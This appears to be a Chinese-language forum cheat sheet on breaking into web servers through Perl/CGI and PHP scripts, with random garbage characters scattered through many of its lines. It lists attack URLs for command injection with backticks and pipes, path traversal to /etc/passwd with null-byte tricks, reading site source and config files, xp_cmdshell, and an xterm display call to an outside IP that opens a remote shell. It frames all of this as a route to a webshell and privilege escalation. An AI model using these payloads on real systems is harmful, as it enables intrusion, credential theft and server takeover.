总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 ; |' I2 M, Z+ M* \! q
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 4 [/ u% M8 a* J; l1 s5 B
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 $ ^* d0 W6 D& X
注“
' e, M+ E$ `4 F+ ]/ W& _perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
# ^" T1 X1 K4 Y" a以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
8 J- @; R& Q8 U& J! U/ p! y
9 y, ~$ g* m8 ?. ^) @" \/ [ z3 \http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 & \% b, c+ u, @& h2 |! U7 `( w) [6 C- j
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 , `6 C* y. ^& I# e' ? J
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
8 S4 x0 O1 E, D! C5 bhttp://target.com/cgi-bin/home/news/sub.pl?`id`
$ T# \$ N' b5 b$ Zhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` 1 b5 g+ F- F; b
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
7 `6 {6 g' q' J& d7 v9 `5 z+ B9 E) x8 J. |' M- e
http://target.com/test.pl;ls|
1 L& r8 S8 k9 l+ D3 f' E, I8 |/ e( Ihttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| 6 s7 o8 l2 E; t
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
2 k* b, D' u* B8 h! Xhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 $ @+ A K0 O3 B6 B
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 0 h, V* L; x- {# W2 m
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection & E3 Y! m0 H9 i; k& d6 T' A9 N C
1 s* k7 W( u3 w2 Phttp://target.com/test.pl?&........ /../../etc/passwd
6 Z: s- U- Q& n, u0 F/ L
0 w! a( g ]; |! O# n, S) s9 Ohttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
0 ~2 H2 U" x6 p1 I0 ohttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 ! m$ f/ H0 p. i. h5 ^- _
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 7 p' z1 I% w% U( Z
. Y0 a. m0 o8 [http://www.target.org/show.php?f ... /include/config.php 查看php代码
6 h7 n/ Y. \( ?2 x# |, l0 k Vhttp://www.target.org/show.php?f ... ng/admin/global.php
+ ?& k9 l4 S' z2 [1 q; Y0 o6 `; w, x5 e* Z) _! Y. l
emm和ps的一句话% v4 a$ _# M! k! F$ T1 d
5 l& I- a& O, _$ M
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 $ U# B$ ?. ~' x* J4 v/ [' n. ~
; @% ], Y) U' V" A
>bbb%20|
3 H3 U: I9 b' [, ^
7 y! j( P1 l5 ^& m( ehttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
6 c2 e: c$ E9 Z2 ?" j- g
1 U+ n4 `# d Q$ A$ Dhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
& ?% K) ?% c% f ?http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin - D1 @3 I# e5 o& n- W
5 U3 I& }9 _% q: |' S
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
8 d+ O' C% y- g" b( rhttp://target.com/index.html#cmd.exe d. z7 }( C. i& ~% u$ ?6 F5 r
http://target.com/index.html?dummyparam=xp_cmdshell
& `4 z: C$ k% ~! l7 ]$ |lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd 2 t! _. X# y, S0 A' P& F4 D
|